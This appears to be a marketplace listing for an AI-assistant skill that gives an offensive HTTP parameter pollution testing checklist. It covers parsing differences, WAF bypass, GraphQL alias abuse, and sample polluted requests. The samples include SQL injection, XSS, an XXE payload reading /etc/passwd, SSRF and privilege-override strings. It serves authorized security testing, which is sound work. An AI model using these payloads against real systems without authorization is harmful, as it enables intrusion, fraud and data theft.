From cybersec-toolkit
Checklist for HTTP parameter pollution (HPP) testing: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass, and exploitation patterns.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-parameter-pollutionThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- **Skill Name**: parameter-pollution
HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.
Use this skill when the conversation involves any of:
parameter pollution, HTTP parameter pollution, HPP, duplicate parameter, WAF bypass, parsing differences, server-side HPP, client-side HPP, parameter injection
When this skill is active:
HTTP Parameter Pollution (HPP) is a web attack technique that exploits how web applications and servers handle multiple occurrences of the same parameter name. When a web application receives duplicate parameters, different technologies process them differently:
flowchart TD
subgraph "HTTP Parameter Pollution"
A[Multiple occurrences of same parameter] --> B{Server Technology}
B -->|ASP.NET/IIS| C[Uses first occurrence]
B -->|PHP/Apache| D[Uses last occurrence]
B -->|JSP/Tomcat| E[Uses first occurrence]
B -->|Perl CGI| F[Concatenates with comma]
B -->|Python/Flask| G[Builds array of values]
B -->|Node.js/Express| H[Uses first occurrence]
end
express uses either querystring (first-wins) or qs (arrays/last-wins). app.set('query parser', 'extended') changes behavior. Many middlewares assume param[]=a¶m[]=b for arrays; duplicates without [] can produce surprising results.HPP attacks leverage these inconsistencies in parameter handling across application layers, servers, proxies, and frameworks. Two main types of HPP exist:
sequenceDiagram
participant Attacker
participant WebApp
participant Backend
Attacker->>WebApp: Request with duplicate parameter<br/>param=safe¶m=malicious
Note over WebApp: Layer 1 processes first value
WebApp->>Backend: Forward request to backend
Note over Backend: Layer 2 processes last value
Backend->>WebApp: Process with malicious value
WebApp->>Attacker: Response
Identify forms and request parameters
Test duplicate parameters with different values:
// Original request
https://example.com/search?param=value1
// Test request
https://example.com/search?param=value1¶m=value2
Observe application behavior
Identify which value is used (first, last, concatenated)
# Original URL
https://target.com/page?parameter=original_value
# Polluted URL
https://target.com/page?parameter=original_value¶meter=malicious_value
Intercept a legitimate form submission
Add duplicate parameters with different values:
// Original POST body
parameter=original_value
// Modified POST body
parameter=original_value¶meter=malicious_value
Combining parameters in both URL and POST body:
// URL
https://target.com/page?parameter=url_value
// POST body
parameter=body_value
Testing duplicate keys in JSON objects:
{
"parameter": "value1",
"parameter": "value2"
}
Also test:
Cookie: role=user; role=admin
X-Role: user
X-Role: admin
Observe which value the application trusts.
GraphQL queries can be polluted through aliasing, batch mutations, and duplicate variables:
# Alias pollution - bypass rate limits
query {
a: user(id: 1) {
name
email
}
b: user(id: 2) {
name
email
}
c: user(id: 3) {
name
email
}
# ... repeat to z or beyond
}
# Variable pollution
query ($id: Int!, $id: Int!) {
user(id: $id) {
name
}
}
# Batch mutation pollution
mutation {
a: redeemCoupon(code: "SAVE50") {
success
}
b: redeemCoupon(code: "SAVE50") {
success
}
c: redeemCoupon(code: "SAVE50") {
success
}
}
WebSocket connections can carry polluted parameters in the upgrade request or message payloads:
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# URL with polluted params
ws://vulnerable.com/chat?token=valid&token=malicious&room=1&room=admin
// WebSocket message payload pollution
{
"action": "sendMessage",
"room": "public",
"room": "admin",
"message": "test"
}
Different frameworks handle array notation differently, creating pollution opportunities:
# PHP - expects brackets
param[]=value1¶m[]=value2
# Express (qs parser) - bracket optional
param=value1¶m=value2
# Rails - numeric indices
param[0]=value1¶m[1]=value2
# Mixed notation confusion
param=single¶m[]=array1¶m[0]=indexed
Testing strategy:
param=a¶m=b (no brackets)param[]=a¶m[]=b (array notation)param[0]=a¶m[1]=b (indexed)Using encoding and case variations to bypass filters:
# URL encoding variations
param=value1&par%61m=value2
param=value1&PARAM=value2
# Double/triple encoding
param=value1&par%2561m=value2
# Unicode normalization
param=value1&pαram=value2 # Greek alpha instead of 'a'
# Null byte injection (legacy)
param=value1¶m%00=value2
graph LR
subgraph "HPP Attack Vectors"
A[HTTP Parameter Pollution] --> B[Access Control Bypass]
A --> C[Request Forgery Enhancement]
A --> D[Data Manipulation]
A --> E[API Vulnerabilities]
B --> B1[Parameter Override]
B --> B2[Permission Escalation]
C --> C1[CSRF Token Bypass]
C --> C2[SSRF Augmentation]
D --> D1[SQL Query Manipulation]
D --> D2[Filter Evasion]
E --> E1[Parameter Precedence]
E --> E2[OAuth Manipulation]
end
https://example.com/admin?access=false&access=true
https://example.com/profile?user=victim&user=admin
https://example.com/transfer?token=valid_token&token=random_value&amount=1000
https://example.com/fetch?url=safe.com&url=internal.server
https://example.com/products?category=1&category=1 OR 1=1
https://example.com/search?q=safe_value&q=<script>alert(1)</script>
# Application authenticates using the first parameter but authorizes using the last
https://example.com/login?role=user&role=admin
# WAF checks the first parameter, backend processes the last
https://example.com/search?q=safe&q=<script>alert(1)</script>
# Bypassing XML filtering by parameter pollution
https://example.com/upload?xml=safe&xml=<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# Gateway picks first id, backend picks last id -> IDOR/AC bypass
/api/user?id=123&id=999
flowchart TD
A[HPP Testing Methodology] --> B[Initial Discovery]
A --> C[Exploit Development]
A --> D[Impact Assessment]
B --> B1[Map application parameters]
B --> B2[Test duplicate parameters]
B --> B3[Document behavior]
C --> C1[Access control testing]
C --> C2[Security control bypass]
C --> C3[API security testing]
D --> D1[Authentication bypass]
D --> D2[Authorization bypass]
D --> D3[Data manipulation]
Access Control Testing:
# Test privileged parameter override
https://example.com/admin?admin=false&admin=true
# Test user context override
https://example.com/profile?id=attacker&id=victim
Security Control Bypass:
# Test CSRF token pollution
token=legitimate&token=fake
# Test parameter validation bypass
param=valid_value¶m=malicious_value
API Security Testing:
# Test API parameter handling
/api/v1/user?id=123&id=456
# Test with different content types
Content-Type: application/json
{"id": "123", "id": "456"}
HTTP Request Smuggling via HPP:
# Testing inconsistent interpretation
Transfer-Encoding: chunked
Transfer-Encoding: identity
Header/Cookie Pollution:
Cookie: session=abc; session=attacker
X-Forwarded-Proto: http
X-Forwarded-Proto: https
# Price manipulation
https://shop.com/checkout?price=100&price=1
# Quantity override
https://shop.com/cart?quantity=1&quantity=100
# Amount parameter pollution
https://bank.com/transfer?amount=100&amount=10000
# Recipient override
https://bank.com/transfer?to=legitimate&to=attacker
# Permission bypass
https://cms.com/edit?permission=read&permission=write
# User impersonation
https://cms.com/admin?user=admin&user=victim
A specific case of parameter pollution that affects social sharing functionality:
Testing Methodology:
# Original share URL
https://target.com/article
# Polluted share URL
https://target.com/article?u=https://attacker.com&text=malicious_text
Common Parameters:
u or url: The URL to be sharedtext: Custom text for the sharetitle: Title of the shared contentdescription: Description for the shared contentImpact:
Testing Steps:
CVE-2021-41773 - Apache HTTP Server Path Traversal:
CVE-2018-8033 - Apache OFBiz:
HPP in OAuth Implementations (Multiple Vendors):
redirect_uri parameters in OAuth flowsAPI Gateway vs Backend Precedence (Bug Bounty):
id parameterid parameterGraphQL Rate Limit Bypass (Multiple Platforms):
WAF Bypass via HPP (Generic):
[] suffix for arraysnpx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitExecute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems.
Executes HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls using duplicate parameters processed differently by servers. For web app and API security testing with Burp Suite and curl.
Guides HTTP Parameter Pollution attacks to bypass WAFs, input validation, and security controls in web apps/APIs via duplicate parameters exploiting server parsing differences.